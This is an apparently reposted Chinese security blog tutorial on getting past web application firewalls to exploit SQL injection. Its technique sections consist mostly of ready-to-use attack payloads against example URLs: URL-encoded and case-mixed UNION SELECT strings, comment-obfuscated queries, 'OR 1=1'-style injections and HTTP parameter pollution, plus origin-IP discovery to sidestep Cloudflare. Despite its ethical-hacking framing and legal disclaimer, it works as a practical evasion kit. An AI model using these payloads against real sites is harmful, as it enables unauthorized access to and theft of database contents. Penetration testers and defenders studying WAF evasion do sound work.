WAF 绕过技术:如何像专业人士一样利用 SQL 注入漏洞

admin 2024年9月24日16:42:25评论78 views字数 2566阅读8分33秒阅读模式

WAF 绕过技术:如何像专业人士一样利用 SQL 注入漏洞

在网络安全领域,了解漏洞和防御措施对于网络安全专业人员/道德黑客至关重要。Web 应用程序防火墙 (WAF) 是抵御 SQL 注入等威胁的前线防御措施。本文深入探讨了 SQL 注入漏洞,并概述了绕过 WAF 保护的技术,为道德黑客和安全评估提供了有价值的见解。

WAF 绕过技术:如何像专业人士一样利用 SQL 注入漏洞

被waf阻止

了解 SQL 注入:

当攻击者操纵 Web 应用程序的输入字段(例如 URL 参数)以执行未经授权的 SQL 查询时,就会发生 SQL 注入。一种常见的方法是基于 union 的 SQL 注入,攻击者使用 UNION SQL 运算符来组合两个或多个查询的结果。这可能导致未经授权访问敏感数据、数据操作,甚至完全破坏系统。

WAF 及其作用:

Web 应用程序防火墙旨在检查 HTTP 请求并过滤掉恶意流量。他们利用多种技术,包括:

  • 识别已知的攻击模式。

  • 监视异常的用户行为。

注意:我们还可以使用 SQL map,它是自动化 SQL 注入攻击(包括绕过 WAF)的强大工具。但是,请务必注意 SQLMap 可能并不总是有效的。在这种情况下,可能需要手动技术来制作自定义有效载荷并有效绕过安全措施。

绕过 WAF 的技术:

检测 WAF:

有许多工具和脚本可以检测和识别 Web 应用程序(如 NMAP)、检查响应标头、检查响应正文上是否存在 WAF。

这里我们将使用 NMAP 来检测 WAF ,只需启动 nmap>select脚本并粘贴以下命令,它就会检测到它

nmap -p80 --script http-waf-detect <URL>

完成分析后,我们将结合这些技术来开发更复杂的方法来绕过 WAF 保护。

1. 通过源站 IP 发现绕过 WAF :

绕过 WAF 保护的一种有效方法是发现网站的源 IP 地址。实现这一目标的一种方法是使用 Censys,这是一个适用于 Internet 连接设备的强大搜索引擎。通过查询 Censys,您可以发现受 WAF 保护的站点(如 Cloudflare)的底层 IP 地址,这可以帮助您绕过 Cloudflare 的防御,直接访问服务器。

WAF 绕过技术:如何像专业人士一样利用 SQL 注入漏洞

censys

使用搜索栏输入与目标网站相关的查询。获得 IP 地址后,您可以按域名搜索,您可以通过有效绕过 Cloudflare (WAF 的防御并与没有保护层的网站交互来直接访问服务器。

2. 通过对 SQL 查询进行 URL 编码来绕过 WAF:

对 SQL 负载进行编码涉及将标准 SQL 注入字符串转换为可以逃避 WAF 检测的格式。通过对恶意内容进行编码,攻击者可以在不触发安全警报的情况下利用漏洞。

URL 编码的一些示例包括:

%55nion(%53elect)union%20distinct%20selectunion%20%64istinctRO%57%20selectunion%2053elect%23?%0auion%20?%23?%0aselect%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect%55nion %53eLEctu%6eion se%6cectunio%6e %73electunio%6e%20%64istinc%74%20%73electuni%6fn distinct%52OW s%65lect%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74

考虑一个简单的 SQL 注入尝试:

示例 # 1 被阻止

http://www.example.com/page.php?id=90'union select 1,2,3,4,5,6,7,8,9,10

示例 # 1(通过 URL 编码绕过)

http://www.example.com/page.php?id=.90'unio%6e selec%74 1,2,3,4,5,6,7,8,9,10%

示例 # 2  被阻止

http://example.com/page?id=1' OR '1'='1

示例 # 2 (通过 URL 编码绕过)

http://example.com/page?id=1%27%20OR%20%271%27%3D%271

3. 通过混淆 SQL 查询绕过 WAF:

SQL 查询混淆涉及修改标准 SQL 命令,使其难以识别或理解,同时仍保留其功能。目标是规避检测机制,例如 WAF 或入侵检测系统,这些机制依赖于识别与 SQL 注入攻击相关的特定模式。通过混淆查询,攻击者可能会绕过安全措施并在数据库上执行未经授权的命令。

示例 # 1(被阻止)

http://www.example.com/page.php?id=90'union select 1,2,3,4,5,6,7,8,9,10

示例 # 1(通过混淆 Query 绕过)

http://www.example.com/page.php?id=90'UnIoN sElEcT 1,2,3,4,5,6,7,8,9,10

注意:在许多情况下,使用下面概述的方法成功地绕过了 WAF 保护。

示例 # 2(被阻止)

http://www.example.com/page.php?id=90 'union select 1,2,3,4,5,6,7,8,9,10

示例 # 2 (通过混淆 Query 绕过)

http://www.example.com/page.php?id=90 ‘/*!UnIon/*trick-comment*/*/ sElect 1,2,3,4,5,6,7,8,9,10 — -.

4. 绕过 WAF:通过 HTTP 参数污染注入 SQL

HTTP 参数污染是指攻击者在 HTTP 请求中添加同一参数的多个实例。这样,我们可以 绕过 输入验证 ,从而导致意外行为。通过利用 HPP,攻击者可以引入恶意 SQL 命令,应用程序可能会无意中执行这些命令。

示例 # 1(被阻止)

http://example.com/user?id=12' Union select 1,2,3,4,5,6,7-- -

示例 # 1(被 HTTP 参数污染绕过)

http://example.com/user?id=1&id=1'union select 1,2,3,4,5,6,7-- -

在这种情况下,攻击者添加了包含 UNION SELECT 语句的第二个 id 参数。这种巧妙的操作可能会让许多开发人员措手不及,尤其是当他们认为输入验证足够健壮以处理此类情况时。如果应用程序在没有正确验证的情况下处理此请求。

原文始发于微信公众号(赛哈文):WAF 绕过技术:如何像专业人士一样利用 SQL 注入漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月24日16:42:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WAF 绕过技术:如何像专业人士一样利用 SQL 注入漏洞https://cn-sec.com/archives/3202890.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息